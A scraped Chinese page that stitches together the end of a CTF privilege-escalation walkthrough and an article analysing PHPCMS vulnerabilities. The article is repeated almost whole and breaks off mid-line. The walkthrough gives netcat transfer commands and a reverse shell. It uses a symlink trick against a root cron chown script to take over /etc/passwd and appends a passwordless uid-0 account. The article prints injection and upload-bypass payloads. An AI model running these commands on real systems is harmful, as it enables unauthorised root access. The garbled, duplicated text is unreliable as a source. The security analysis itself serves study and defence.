通过观察,在这个路径下,我目前的身份是apache ,而这些文件的用户组是apche,是拥有所有的权限的,包括了写入的权限!
因此,我利用nc 来接收这个pspy64文件
bash-4.4$ nc -nvlp 3030 > pspy
传入成功
nc 192.168.1.74 3030 < /home/fengxin/桌面/pspy64 -w 1
增加执行权限到pspy文件~
启动改文件 ./pspy
这个启动和执行过程需要等待一会,系统会不会有新的进程出现
!
1:33
在后台进程中,我发现了一个叫做chown.sh的脚本,众所周知chown是linux的一个命令
这应该是管理员自己创建的一个脚本文件
/bin/bash /usr/share/scripts/chown.sh
我在kali上监听3031端口,增加一个反弹shell的连接
修改之前抓取的obj对象里数据内容,将之前触发序列化漏洞的数据,有一个端口改为3031
查看目标靶机里的文件,能够查看到这个文件的权限是可以被其他用户所读取
查看该chown.sh文件
看起来是将周期性的这个/home/rocky/public_html/* 这个目标文件夹下所有的文件权限改成属主是rocky,属组是apache
这就是我之前有一个chmod +x 执行失败的原因,正好赶上周期性的将这个目录下所有文件的属主和属组改变,让我无法修改
一个周期过后,我在看这个public_html下所有的文件的属主和属组都发生了变化!
那么,这个命令脚本内容对目前渗透有什么帮助呢?
软连接这个命令这个时候就派上了用场!
先来看一下系统的/etc/passwd这个文件的属主和属组
在kali上只有root用户有可读可写权限,其他的只有读的权限
在目标靶机中的这个/etc/passwd文件是属主和属组拥有完全权限!
难么在靶机的这个/home/rocky/public_html下也新建一个Passwd文件,并连接到/etc/passwd呢?
ln -sf /etc/passwd ./passwd
这个chown.sh脚本在周期性的执行,会把这个/home/rokcy/public_html下的passwd文件属主改为rocky, 属组改为apache!
等待一段时间观察,监控到chown脚本周期执行,权限会发生变化,
可是图中的passd权限却没有发生变化!
按照理论目标靶机的/etc/passwd这个文件的属主和属组也会被修改成rokcy和apache的!
观察,/etc/passwd这个文件的属主和属组变化了!
这样的话就可以将root密码设为空了!
因为当前获得的反弹shell 不太稳定
我这里新建一个用户,密码占位符x 删除掉,不需要密码,使用的是uid和gid都为0的设置,了解linux用户属性的都知道uid=0 gid=0 的账号一定是root角色,并将这些信息追加到/etc/passwd中去
echo "daidai::0:0:root:/root:/bin/bash" >> /etc/passwd
最后查看passwd文件,注入成功!
最后使用su命令,切换到daidai这个用户
提权成功,获取flag
到此结束,打靶结束!
php抓取网页数据插入数据库 CMS真的安全吗?洞鉴PHPCMS
网站优化 • 优采云 发表了文章 • 0 个评论 • 193 次浏览 • 2022-06-21 00:33
什么是PHPCMS
说到PHPCMS,就不得不先提一提CMS。CMS全称“Content Management System”,意为“内容管理系统”,内容管理系统是一种位于WEB 前端(Web 服务器)和后端办公系统或流程(内容创作、编辑)之间的软件系统。内容的创作人员、编辑人员、发布人员使用内容管理系统来提交、修改、审批、发布内容。
这里指的“内容”可能包括文件、表格、图片、数据库中的数据甚至视频等一切你想要发布到Internet、Intranet以及Extranet网站的信息。内容管理还可选地提供内容抓取工具,将第三方信息来源,比如将文本文件、HTML网页、Web服务、关系数据库等的内容自动抓取,并经分析处理后放到自身的内容库中。
随着个性化的发展,内容管理还辅助WEB前端将内容以个性化的方式提供给内容使用者,即提供个性化的门户框架,以基于WEB技术将内容更好地推送到用户的浏览器端。
PHPCMS由国内80后知名创业者钟胜辉于2005年创办,是国内知名内容管理系统,它是一款基于 PHP 技术和 AJAX 技术的企业级网站内容管理系统,旨在帮助用户解决日益复杂与重要的 Web 内容的创建、维护、发布和应用。
PHPCMS的创立赶上了CMS蓬勃发展的时期,而且它将模块化开发方式做为功能开发形式,框架易于功能扩展,代码维护,优秀的二次开发能力,可满足所有网站的应用需求,所以迅速占领了国内的内容管理系统领域的大片领土。
从2005年PHPCMS第一版创立,到2007年推出PHPCMS 2007版本,再到2008年年底推出了PHPCMS 2008版本,四年三大版本均赢得了市场好评,最终在2010年盛大在线收购PHPCMS后,PHPCMS推出了主线产品PHPCMS V9版本,到2017年5月推出了最新的V9.6.3版本,PHPCMS仍为现在国内领先的内容管理系统,是各大站长建站的首选。
根据全网数据统计,使用PHPCMS的网站多达4万多个,其中大部分集中在国内,共有约3万余个,占使用量的75%以上,同时,PHPCMS在教育行业约有上千个网站使用,在政府部门的网站中,也有上百个网站使用,其他则用于商业用途,具体分布如下图:
从图中可以看出,PHPCMS的使用范围较广,其中在政府部门中不乏市县级政府这样的客户;教育行业内,也不乏国内大学的校级、院系官网使用PHPCMS作为其发布信息的官方主页;商业用途中,PHPCMS也备受中小型企业的青睐。
PHPCMS的版本更新迭代速度以及功能齐全等特性也为其快速扩张提供发展基础。但是,PHPCMS安全吗?
PHPCMS安全吗?
根据千里目实验室漏洞库的统计,PHPCMS从创办到如今近十三年,产品三大版本的漏洞总量高达100余个,其中核心版本PHPCMS2008系列、PHPCMS V9系列高危漏洞近40个,在40个漏洞之中,全网公布的高可利用性漏洞个数也高达两位数,其中尤其PHPCMS V9最多,所以,PHPCMS的安全性一直备受广大用户的质疑。
经过对PHPCMS高危漏洞的分析整理以及统计,PHPCMS的高危漏洞类型主要有以下五类:SQL注入类、命令执行类、任意文件上传类、任意文件下载类、任意文件读取类。其中SQL注入问题是最为严重的一类,不管数量还是威胁性都是其中最高的,5类漏洞的数量具体分布占比如下图。接下来按照这些漏洞中威胁性最高的五类漏洞来介绍PHPCMS的经典漏洞,以及漏洞间的共性和漏洞成因。
2.1 SQL注入漏洞
PHPCMS框架层面分析
PHPCMS的核心版本中,PHPCMS v9的SQL注入问题比PHPCMS 2008要严重很多,这是为什么?
首先从PHPCMS的框架上分析了这个问题的原因。PHPCMS2008中对GPC变量的处理, 是在
include/common.inc.php中使用$db->escape($_GET)对输入变量进行转义,实质上是调用了
mysql_real_escape_string,PHP手册上对这个函数的描述:
string mysql_real_escape_string ( string $unescaped_string [, resource $link_identifier ] )
#本函数将 unescaped_string中的特殊字符转义,并考虑到连接的当前字符集,因此可以安全用于 mysql_query()
也就是说PHPCMS 2008中使用mysql_real_escape_string对输入变量进行处理,是可以达到防注入效果的,PHPCMS2008中这样的处理方式是比较安全的,但是也有其不合理的一面,原因在于:入口中对所有变量进行mysql_real_escape_string处理,显然并不是所有变量需要入库,这样处理必须影响性能(连接mysql->发送变量至mysql server ->mysql server转义->返回给PHP程序)。
而PHPCMS V9在入口文件phpcms/libs/classes/param.class.php中采用以下方式:
$_POST = new_addslashes($_POST);
$_GET = new_addslashes($_GET);
$_REQUEST = new_addslashes($_REQUEST);
$_COOKIE = new_addslashes($_COOKIE);
new_addslashes其实就是调用了PHP内置的addslashes对GPC变量添加转义斜线,这就相当于php.ini中打开了magic_quotes_gpc选项,PHP手册中对magic_quotes_gpc的处理有以下描述:
Warning
This feature has been DEPRECATED as of PHP 5.3.0 and REMOVED as of PHP 5.4.0.
从PHP 5.4.0开始,已经不支持magic_quotes_gpc了,这是为什么?
(1)性能:由于并不是每一段被转义的数据都要插入数据库的,如果所有进入 PHP 的数据都被转义的话,那么会对程序的执行效率产生一定的影响。
(2)方便性:由于不是所有数据都需要转义,在不需要转义的地方看到转义的数据就很烦。比如说通过表单发送邮件,结果看到一大堆的 \'。
(3)安全问题:事实上addslashes或开启magic_quotes_gpc并不能完全杜绝SQL注入。因为addslashes对有些特殊字符后跟上'(单引号)并不会加把这个'变成/',如:0xbf27的字就不会,所以縗' OR 1 limit 1/* 这个就存在。
针对这个问题,PDO扩展而生,它主要解决两个问题:批量查询时使用prepare提升查询性能,使用参数化查询从根本上杜绝SQL注入,但是PHPCMS V9的phpcms\libs\classes\param.class.php依旧使用以下代码,所这就是造成PHPCMS中SQL注入如此之多的根本原因。:
private $route_config = '';
public function __construct() {
if(!get_magic_quotes_gpc()) {
$_POST = new_addslashes($_POST);
$_GET = new_addslashes($_GET);
$_REQUEST = new_addslashes($_REQUEST);
$_COOKIE = new_addslashes($_COOKIE);
PHPCMS漏洞层面分析
从具体的漏洞来看,PHPCMS代码中出现的SQL注入点主要有三种情况:
第一种情况,即外部可控参数未进行任何过滤,这种问题是因为系统设计人员代码设计的不严谨导致。其中最经典的PHPCMS v9 前台用户登录处SQL注入漏洞产生即是因为这个原因:用户在登录页面输入用户名与密码,在\phpcms\modules\member\index.php的login方法中,username使用的is_username进行了过滤而password没有做任何处理。
$username = isset($_POST['username']) && is_username($_POST['username']) ?
trim($_POST['username']) : showmessage(L('username_empty'), HTTP_REFERER);
$password = isset($_POST['password']) && trim($_POST['password']) ?
trim($_POST['password']) : showmessage(L('password_empty'), HTTP_REFERER);
$cookietime = intval($_POST['cookietime']);
$synloginstr = ''; //同步登陆js代码
所以,Password就成为了一个注入点。输入的username以及password被传到phpsso模块中进行认证,而phpsso模块并没有解析过滤用户名与密码就直接进行认证,认证后直接将信息返回到登录页面的login方法中。
第二种情况也是SQL注入中的经典情形,即代码中处理外部输入数据的时候使用了urldecode()函数。比如单引号被 urlencode 两次以后是 %2527,然后 POST。PHP 内部在生成全局变量 $_POST 的时候会先 urldecode,得到 %27,然后 PHP 会检查 Magic Quotes 的设置,但是无论是否开启 Magic Quotes,%27 都不会被 addslashes,因为这时根本没有单引号。
但是这时如果你在 PHP 代码中画蛇添足的加上 urldecode,%27就变成单引号了,这样就成功绕过了,这种情况出现的根源在于之前分析的PHPCMS使用magic_quotes_gpc这种方式来处理外部数据。
PHPCMS V9 WAP SQL注入漏洞即是因为这种情况:
function comment_list() {
$WAP = $this->wap;
$TYPE = $this->types;
$comment = pc_base::load_app_class('comment','comment');
pc_base::load_app_func('global','comment');
$typeid = intval($_GET['typeid']);
$GLOBALS['siteid'] = max($this->siteid,1);
$commentid = isset($_GET['commentid']) && trim(urldecode($_GET['commentid'])) ?
trim(urldecode($_GET['commentid'])) : exit('参数错误');
list($modules, $contentid, $siteid) = decode_commentid($commentid);
list($module, $catid) = explode('_', $modules);
$comment_setting_db = pc_base::load_model('comment_setting_model');
$setting = $comment_setting_db->get_one(array('siteid'=>$this->siteid));
这段代码中在处理外部可控参数commentid的时候,使用了urldecode()函数,最终可以采用%2527的方式来进行过滤绕过。
PHPCMS db->table_name = $this->db->db_tablepre.$MODEL[$modelid]['tablename'];
$this->db->table_name = $tablename.'_data';
$rs = $this->db->get_one(array('id'=>$id)); //id传入sql查询语句
在函数中,代码通过GET获取'a_k'值,并调用sys_auth函数进行解密,然后使用parse_str()来解析解密后的$a_k参数,将字符串解析到变量中,并同时解码。在parse_str()解析的过程中,就将之前构造好的SQL注入paylaod赋值到各个参数,并且绕过了所有限制。
这个漏洞利用还有另一个关口,就是需要将payload使用sys_auth加密,同样,PHPCMS一个任意文件下载漏洞也是这个原理:构造payload—>sys_auth加密—>带入到phpcms\modules\content\
down.php文件init函数中—>进行解码并parse_str()解析,payload通过这种方式可以绕过所有过滤关口,最终成功触发。
从之上的分析可知,所有的SQL注入漏洞其根源都在magic_quotes_gpc方法上。但是除了框架之外,如此多的SQL注入问题就在于程序员对待代码逻辑的不严谨,缺少对外部可控参数的过滤或者说是缺少完全的过滤验证过程,PHP是很灵活的语言,其代码的逻辑严谨程度即代表着它的安全性高低!
命令执行漏洞
命令执行是一类威胁性非常大的漏洞类型,大多数“一锅端”(能够getshell,控制全站)漏洞都是命令执行漏洞。由之前的漏洞数量分布可知,命令执行问题的数量仅次于SQL注入,但是它的严重程度可能更甚于SQL注入漏洞。
PHPCMS框架中的命令执行漏洞大部分都是由于一个函数,即global.func.php中的string2array()函数,函数代码如下:
/**
* 将字符串转换为数组
*
* @param string $data 字符串
* @return array 返回数组格式,如果,data为空,则返回空数组
*/
function string2array($data) {
$data = trim($data);
if($data == '') return array();
if(strpos($data, 'array')===0){
@eval("\$array = $data;");
}else{
if(strpos($data, '{\\')===0) $data = stripslashes($data);
$array=json_decode($data,true);
if(strtolower(CHARSET)=='gbk'){
$array = mult_iconv("UTF-8", "GBK//IGNORE", $array);
}
}
return $array;
}
该函数中使用了eval函数,这就代表所有调用这个函数的地方,如果存在过滤不严的情况,都会出现严重的命令执行漏洞。当然,我们不用怀疑程序员写BUG的能力,PHPCMS中多个命令执行漏洞都是因为外部参数未进行严格过滤,就直接带进了string2array()中进行处理,所以最终触发了漏洞。
其中最经典的一个漏洞PHPCMS 2008任意代码执行漏洞,该漏洞利用门槛之低让人大跌眼镜,漏洞的出处就在yp/web/include/common.inc.php的menu变量:
$menu = string2array($menu);
$siteurl = $m_s_url[1] = $M['url'].'web/?'.$userid;
$introduceurl = $m_s_url[2] = $siteurl.'/category-introduce.html';
$newsurl = $m_s_url[3] = $siteurl.'/category-news.html';
$product = $m_s_url[4] = $siteurl.'/category-product.html';
$buyurl = $m_s_url[5] = $siteurl.'/category-buy.html';
$joburl = $m_s_url[6] = $siteurl.'/category-job.html';
$joburl = $m_s_url[7] = $siteurl.'/category-certificate.html';
$guestbookurl = $m_s_url[8] = $siteurl.'/category-guestbook.html';
$contacturl = $m_s_url[9] = $siteurl.'/category-contact.html';
Menu参数是一个外部可控参数,该参数被被传进后台之后未经过任何处理以及限制,导致在string2array()函数中直接被eval函数执行,导致远程代码执行漏洞。
而这个函数从PHPCMS 2008到PHPCMS V9一直都存在,而该系统程序员也只是在之后每一个调用此函数的地方都先对传入参数进行过滤或者限制,但是任何过滤限制都有被绕过的可能,之后的事实证明确实如此,比如之后再V9版本出现的PHPCMS V9 phpcms\
modules\dbsource\data.php出现的远程命令执行漏洞,PHPCMSV9 /phpcms/modules/vote/
index.php代码执行漏洞等均是因为这个原因。
所以,防止PHP程序出现代码执行漏洞有一条金科玉律:永远不要在代码中使用eval。
因为,很少有人能够掌控住这个函数,一旦控制不住,可能就会出现一个“一锅端”的命令执行漏洞。
另外PHPCMS中出现的一个PHPCMS /phpsso_server/phpcms/modules/phpsso/index.php代码执行漏洞,它的思想很特别、也很典型。该漏洞中存在的一个猛兽理论值得很多程序员以及安全研究人员来认真研究的。“猛兽来了,我们应该将其绝杀在门外,但是有些人非得把它放进屋内,才杀之,你们难道不知道猛兽的嘴里可能叼了一个炸药包吗? 砰!!!结果全都玩完了…”。下面用具体代码来解释这个理论。
其中:
猛兽放进室内:copy($_GET['src'],$_GET['dst']);
这条猛兽不安全,杀之:unlink($_GET['dst']);
炸药包:$_GET['dst'] 此炸药包的作用是生成恶意文件。
这段代码中存在缺陷的地方就是将“猛兽”放进市内的地方:
copy($_GET['src'],$_GET['dst']);
可将任意文件copy成恶意文件,如木马,后来发现这个文件不安全,然后使用unlink将之删除...,但是,有种可能就是木马在删除之前,生成了新的木马文件,结果可想而知。
PHPCMS V9
/phpsso_server/phpcms/modules/phpsso/index.php任意命令执行就是这个原理。首先上传头像,头像的格式被压缩为zip格式文件,然后文件到了/phpsso_server/phpcms/modules/phpsso/index.php的uploadavatar()函数,首先被解压,然后判断为非jpg文件后删除。攻击者利用这个漏洞的过程中是将webshell保存为jpg中,构造后缀名突破jpg的限制,在文件被上传解压后,webshell执行在上层目录生成一个新的webshell文件,由此触发漏洞。
命令执行漏洞的威胁性极大,在任何代码审计中,只要代码中出现了eval,assert等这类代码执行函数后,都有可能出现代码执行漏洞。并且猛兽理论也应该在被关注,这样的逻辑在很多代码中都会被用到,其解决的方法即应该在第一步的时候就处理风险,不能将“猛兽放进屋来”。
任意文件上传漏洞、任意文件下载、任意文件读取漏洞
这三类漏洞是关于文件操作的漏洞,具有很多的共性。PHPCMS中的任意文件上传漏洞主要是因为文件上传过程中,文件类型的限制不严或者因为存在过滤限制绕过,导致可以上传一些可执行文件,最终GetShell。该类漏洞与代码执行很相似,最根本就是为了执行上传文件中的恶意代码。
其中PHPCMS v9 注册页面任意文件上传漏洞和PHPCMS v9.6.1 后缀名提取导致任意文件上传漏洞都是一种采用构造后缀名绕过限制过滤的漏洞。第一个漏洞中的正则要求输入满足src/href=url.(gif|jpg|jpeg|bmp|png),则构造的(
)符合这一格式(这也就是为什么后面要加.jpg的原因)。之后通过一系列处理,将.jpg去掉,那么最后文件的后缀就变成了.php成为了可执行文件。
而第二个漏洞中则因strtolower(trim
(substr(strrchr($filename, '.'), 1, 10)));处理被绕过,攻击这可以使用/1.thumb_.Php.JPG%20%20
%20%20%20%20%20Php来绕过过滤,最终由于apache的文件名解析特性(可以去掉空格)导致上传文件里php代码最终被解析执行。所以该类漏洞中,都是因为对文件名后缀缺少更严谨的处理,导致上传可执行文件最终导致getshell。
PHPCMS 查看全部
php抓取网页数据插入数据库 CMS真的安全吗?洞鉴PHPCMS
什么是PHPCMS
说到PHPCMS,就不得不先提一提CMS。CMS全称“Content Management System”,意为“内容管理系统”,内容管理系统是一种位于WEB 前端(Web 服务器)和后端办公系统或流程(内容创作、编辑)之间的软件系统。内容的创作人员、编辑人员、发布人员使用内容管理系统来提交、修改、审批、发布内容。
这里指的“内容”可能包括文件、表格、图片、数据库中的数据甚至视频等一切你想要发布到Internet、Intranet以及Extranet网站的信息。内容管理还可选地提供内容抓取工具,将第三方信息来源,比如将文本文件、HTML网页、Web服务、关系数据库等的内容自动抓取,并经分析处理后放到自身的内容库中。
随着个性化的发展,内容管理还辅助WEB前端将内容以个性化的方式提供给内容使用者,即提供个性化的门户框架,以基于WEB技术将内容更好地推送到用户的浏览器端。
PHPCMS由国内80后知名创业者钟胜辉于2005年创办,是国内知名内容管理系统,它是一款基于 PHP 技术和 AJAX 技术的企业级网站内容管理系统,旨在帮助用户解决日益复杂与重要的 Web 内容的创建、维护、发布和应用。
PHPCMS的创立赶上了CMS蓬勃发展的时期,而且它将模块化开发方式做为功能开发形式,框架易于功能扩展,代码维护,优秀的二次开发能力,可满足所有网站的应用需求,所以迅速占领了国内的内容管理系统领域的大片领土。
从2005年PHPCMS第一版创立,到2007年推出PHPCMS 2007版本,再到2008年年底推出了PHPCMS 2008版本,四年三大版本均赢得了市场好评,最终在2010年盛大在线收购PHPCMS后,PHPCMS推出了主线产品PHPCMS V9版本,到2017年5月推出了最新的V9.6.3版本,PHPCMS仍为现在国内领先的内容管理系统,是各大站长建站的首选。
根据全网数据统计,使用PHPCMS的网站多达4万多个,其中大部分集中在国内,共有约3万余个,占使用量的75%以上,同时,PHPCMS在教育行业约有上千个网站使用,在政府部门的网站中,也有上百个网站使用,其他则用于商业用途,具体分布如下图:
从图中可以看出,PHPCMS的使用范围较广,其中在政府部门中不乏市县级政府这样的客户;教育行业内,也不乏国内大学的校级、院系官网使用PHPCMS作为其发布信息的官方主页;商业用途中,PHPCMS也备受中小型企业的青睐。
PHPCMS的版本更新迭代速度以及功能齐全等特性也为其快速扩张提供发展基础。但是,PHPCMS安全吗?
PHPCMS安全吗?
根据千里目实验室漏洞库的统计,PHPCMS从创办到如今近十三年,产品三大版本的漏洞总量高达100余个,其中核心版本PHPCMS2008系列、PHPCMS V9系列高危漏洞近40个,在40个漏洞之中,全网公布的高可利用性漏洞个数也高达两位数,其中尤其PHPCMS V9最多,所以,PHPCMS的安全性一直备受广大用户的质疑。
经过对PHPCMS高危漏洞的分析整理以及统计,PHPCMS的高危漏洞类型主要有以下五类:SQL注入类、命令执行类、任意文件上传类、任意文件下载类、任意文件读取类。其中SQL注入问题是最为严重的一类,不管数量还是威胁性都是其中最高的,5类漏洞的数量具体分布占比如下图。接下来按照这些漏洞中威胁性最高的五类漏洞来介绍PHPCMS的经典漏洞,以及漏洞间的共性和漏洞成因。
2.1 SQL注入漏洞
PHPCMS框架层面分析
PHPCMS的核心版本中,PHPCMS v9的SQL注入问题比PHPCMS 2008要严重很多,这是为什么?
首先从PHPCMS的框架上分析了这个问题的原因。PHPCMS2008中对GPC变量的处理, 是在
include/common.inc.php中使用$db->escape($_GET)对输入变量进行转义,实质上是调用了
mysql_real_escape_string,PHP手册上对这个函数的描述:
string mysql_real_escape_string ( string $unescaped_string [, resource $link_identifier ] )
#本函数将 unescaped_string中的特殊字符转义,并考虑到连接的当前字符集,因此可以安全用于 mysql_query()
也就是说PHPCMS 2008中使用mysql_real_escape_string对输入变量进行处理,是可以达到防注入效果的,PHPCMS2008中这样的处理方式是比较安全的,但是也有其不合理的一面,原因在于:入口中对所有变量进行mysql_real_escape_string处理,显然并不是所有变量需要入库,这样处理必须影响性能(连接mysql->发送变量至mysql server ->mysql server转义->返回给PHP程序)。
而PHPCMS V9在入口文件phpcms/libs/classes/param.class.php中采用以下方式:
$_POST = new_addslashes($_POST);
$_GET = new_addslashes($_GET);
$_REQUEST = new_addslashes($_REQUEST);
$_COOKIE = new_addslashes($_COOKIE);
new_addslashes其实就是调用了PHP内置的addslashes对GPC变量添加转义斜线,这就相当于php.ini中打开了magic_quotes_gpc选项,PHP手册中对magic_quotes_gpc的处理有以下描述:
Warning
This feature has been DEPRECATED as of PHP 5.3.0 and REMOVED as of PHP 5.4.0.
从PHP 5.4.0开始,已经不支持magic_quotes_gpc了,这是为什么?
(1)性能:由于并不是每一段被转义的数据都要插入数据库的,如果所有进入 PHP 的数据都被转义的话,那么会对程序的执行效率产生一定的影响。
(2)方便性:由于不是所有数据都需要转义,在不需要转义的地方看到转义的数据就很烦。比如说通过表单发送邮件,结果看到一大堆的 \'。
(3)安全问题:事实上addslashes或开启magic_quotes_gpc并不能完全杜绝SQL注入。因为addslashes对有些特殊字符后跟上'(单引号)并不会加把这个'变成/',如:0xbf27的字就不会,所以縗' OR 1 limit 1/* 这个就存在。
针对这个问题,PDO扩展而生,它主要解决两个问题:批量查询时使用prepare提升查询性能,使用参数化查询从根本上杜绝SQL注入,但是PHPCMS V9的phpcms\libs\classes\param.class.php依旧使用以下代码,所这就是造成PHPCMS中SQL注入如此之多的根本原因。:
private $route_config = '';
public function __construct() {
if(!get_magic_quotes_gpc()) {
$_POST = new_addslashes($_POST);
$_GET = new_addslashes($_GET);
$_REQUEST = new_addslashes($_REQUEST);
$_COOKIE = new_addslashes($_COOKIE);
PHPCMS漏洞层面分析
从具体的漏洞来看,PHPCMS代码中出现的SQL注入点主要有三种情况:
第一种情况,即外部可控参数未进行任何过滤,这种问题是因为系统设计人员代码设计的不严谨导致。其中最经典的PHPCMS v9 前台用户登录处SQL注入漏洞产生即是因为这个原因:用户在登录页面输入用户名与密码,在\phpcms\modules\member\index.php的login方法中,username使用的is_username进行了过滤而password没有做任何处理。
$username = isset($_POST['username']) && is_username($_POST['username']) ?
trim($_POST['username']) : showmessage(L('username_empty'), HTTP_REFERER);
$password = isset($_POST['password']) && trim($_POST['password']) ?
trim($_POST['password']) : showmessage(L('password_empty'), HTTP_REFERER);
$cookietime = intval($_POST['cookietime']);
$synloginstr = ''; //同步登陆js代码
所以,Password就成为了一个注入点。输入的username以及password被传到phpsso模块中进行认证,而phpsso模块并没有解析过滤用户名与密码就直接进行认证,认证后直接将信息返回到登录页面的login方法中。
第二种情况也是SQL注入中的经典情形,即代码中处理外部输入数据的时候使用了urldecode()函数。比如单引号被 urlencode 两次以后是 %2527,然后 POST。PHP 内部在生成全局变量 $_POST 的时候会先 urldecode,得到 %27,然后 PHP 会检查 Magic Quotes 的设置,但是无论是否开启 Magic Quotes,%27 都不会被 addslashes,因为这时根本没有单引号。
但是这时如果你在 PHP 代码中画蛇添足的加上 urldecode,%27就变成单引号了,这样就成功绕过了,这种情况出现的根源在于之前分析的PHPCMS使用magic_quotes_gpc这种方式来处理外部数据。
PHPCMS V9 WAP SQL注入漏洞即是因为这种情况:
function comment_list() {
$WAP = $this->wap;
$TYPE = $this->types;
$comment = pc_base::load_app_class('comment','comment');
pc_base::load_app_func('global','comment');
$typeid = intval($_GET['typeid']);
$GLOBALS['siteid'] = max($this->siteid,1);
$commentid = isset($_GET['commentid']) && trim(urldecode($_GET['commentid'])) ?
trim(urldecode($_GET['commentid'])) : exit('参数错误');
list($modules, $contentid, $siteid) = decode_commentid($commentid);
list($module, $catid) = explode('_', $modules);
$comment_setting_db = pc_base::load_model('comment_setting_model');
$setting = $comment_setting_db->get_one(array('siteid'=>$this->siteid));
这段代码中在处理外部可控参数commentid的时候,使用了urldecode()函数,最终可以采用%2527的方式来进行过滤绕过。
PHPCMS db->table_name = $this->db->db_tablepre.$MODEL[$modelid]['tablename'];
$this->db->table_name = $tablename.'_data';
$rs = $this->db->get_one(array('id'=>$id)); //id传入sql查询语句
在函数中,代码通过GET获取'a_k'值,并调用sys_auth函数进行解密,然后使用parse_str()来解析解密后的$a_k参数,将字符串解析到变量中,并同时解码。在parse_str()解析的过程中,就将之前构造好的SQL注入paylaod赋值到各个参数,并且绕过了所有限制。
这个漏洞利用还有另一个关口,就是需要将payload使用sys_auth加密,同样,PHPCMS一个任意文件下载漏洞也是这个原理:构造payload—>sys_auth加密—>带入到phpcms\modules\content\
down.php文件init函数中—>进行解码并parse_str()解析,payload通过这种方式可以绕过所有过滤关口,最终成功触发。
从之上的分析可知,所有的SQL注入漏洞其根源都在magic_quotes_gpc方法上。但是除了框架之外,如此多的SQL注入问题就在于程序员对待代码逻辑的不严谨,缺少对外部可控参数的过滤或者说是缺少完全的过滤验证过程,PHP是很灵活的语言,其代码的逻辑严谨程度即代表着它的安全性高低!
命令执行漏洞
命令执行是一类威胁性非常大的漏洞类型,大多数“一锅端”(能够getshell,控制全站)漏洞都是命令执行漏洞。由之前的漏洞数量分布可知,命令执行问题的数量仅次于SQL注入,但是它的严重程度可能更甚于SQL注入漏洞。
PHPCMS框架中的命令执行漏洞大部分都是由于一个函数,即global.func.php中的string2array()函数,函数代码如下:
/**
* 将字符串转换为数组
*
* @param string $data 字符串
* @return array 返回数组格式,如果,data为空,则返回空数组
*/
function string2array($data) {
$data = trim($data);
if($data == '') return array();
if(strpos($data, 'array')===0){
@eval("\$array = $data;");
}else{
if(strpos($data, '{\\')===0) $data = stripslashes($data);
$array=json_decode($data,true);
if(strtolower(CHARSET)=='gbk'){
$array = mult_iconv("UTF-8", "GBK//IGNORE", $array);
}
}
return $array;
}
该函数中使用了eval函数,这就代表所有调用这个函数的地方,如果存在过滤不严的情况,都会出现严重的命令执行漏洞。当然,我们不用怀疑程序员写BUG的能力,PHPCMS中多个命令执行漏洞都是因为外部参数未进行严格过滤,就直接带进了string2array()中进行处理,所以最终触发了漏洞。
其中最经典的一个漏洞PHPCMS 2008任意代码执行漏洞,该漏洞利用门槛之低让人大跌眼镜,漏洞的出处就在yp/web/include/common.inc.php的menu变量:
$menu = string2array($menu);
$siteurl = $m_s_url[1] = $M['url'].'web/?'.$userid;
$introduceurl = $m_s_url[2] = $siteurl.'/category-introduce.html';
$newsurl = $m_s_url[3] = $siteurl.'/category-news.html';
$product = $m_s_url[4] = $siteurl.'/category-product.html';
$buyurl = $m_s_url[5] = $siteurl.'/category-buy.html';
$joburl = $m_s_url[6] = $siteurl.'/category-job.html';
$joburl = $m_s_url[7] = $siteurl.'/category-certificate.html';
$guestbookurl = $m_s_url[8] = $siteurl.'/category-guestbook.html';
$contacturl = $m_s_url[9] = $siteurl.'/category-contact.html';
Menu参数是一个外部可控参数,该参数被被传进后台之后未经过任何处理以及限制,导致在string2array()函数中直接被eval函数执行,导致远程代码执行漏洞。
而这个函数从PHPCMS 2008到PHPCMS V9一直都存在,而该系统程序员也只是在之后每一个调用此函数的地方都先对传入参数进行过滤或者限制,但是任何过滤限制都有被绕过的可能,之后的事实证明确实如此,比如之后再V9版本出现的PHPCMS V9 phpcms\
modules\dbsource\data.php出现的远程命令执行漏洞,PHPCMSV9 /phpcms/modules/vote/
index.php代码执行漏洞等均是因为这个原因。
所以,防止PHP程序出现代码执行漏洞有一条金科玉律:永远不要在代码中使用eval。
因为,很少有人能够掌控住这个函数,一旦控制不住,可能就会出现一个“一锅端”的命令执行漏洞。
另外PHPCMS中出现的一个PHPCMS /phpsso_server/phpcms/modules/phpsso/index.php代码执行漏洞,它的思想很特别、也很典型。该漏洞中存在的一个猛兽理论值得很多程序员以及安全研究人员来认真研究的。“猛兽来了,我们应该将其绝杀在门外,但是有些人非得把它放进屋内,才杀之,你们难道不知道猛兽的嘴里可能叼了一个炸药包吗? 砰!!!结果全都玩完了…”。下面用具体代码来解释这个理论。
其中:
猛兽放进室内:copy($_GET['src'],$_GET['dst']);
这条猛兽不安全,杀之:unlink($_GET['dst']);
炸药包:$_GET['dst'] 此炸药包的作用是生成恶意文件。
这段代码中存在缺陷的地方就是将“猛兽”放进市内的地方:
copy($_GET['src'],$_GET['dst']);
可将任意文件copy成恶意文件,如木马,后来发现这个文件不安全,然后使用unlink将之删除...,但是,有种可能就是木马在删除之前,生成了新的木马文件,结果可想而知。
PHPCMS V9
/phpsso_server/phpcms/modules/phpsso/index.php任意命令执行就是这个原理。首先上传头像,头像的格式被压缩为zip格式文件,然后文件到了/phpsso_server/phpcms/modules/phpsso/index.php的uploadavatar()函数,首先被解压,然后判断为非jpg文件后删除。攻击者利用这个漏洞的过程中是将webshell保存为jpg中,构造后缀名突破jpg的限制,在文件被上传解压后,webshell执行在上层目录生成一个新的webshell文件,由此触发漏洞。
命令执行漏洞的威胁性极大,在任何代码审计中,只要代码中出现了eval,assert等这类代码执行函数后,都有可能出现代码执行漏洞。并且猛兽理论也应该在被关注,这样的逻辑在很多代码中都会被用到,其解决的方法即应该在第一步的时候就处理风险,不能将“猛兽放进屋来”。
任意文件上传漏洞、任意文件下载、任意文件读取漏洞
这三类漏洞是关于文件操作的漏洞,具有很多的共性。PHPCMS中的任意文件上传漏洞主要是因为文件上传过程中,文件类型的限制不严或者因为存在过滤限制绕过,导致可以上传一些可执行文件,最终GetShell。该类漏洞与代码执行很相似,最根本就是为了执行上传文件中的恶意代码。
其中PHPCMS v9 注册页面任意文件上传漏洞和PHPCMS v9.6.1 后缀名提取导致任意文件上传漏洞都是一种采用构造后缀名绕过限制过滤的漏洞。第一个漏洞中的正则要求输入满足src/href=url.(gif|jpg|jpeg|bmp|png),则构造的(
)符合这一格式(这也就是为什么后面要加.jpg的原因)。之后通过一系列处理,将.jpg去掉,那么最后文件的后缀就变成了.php成为了可执行文件。
而第二个漏洞中则因strtolower(trim
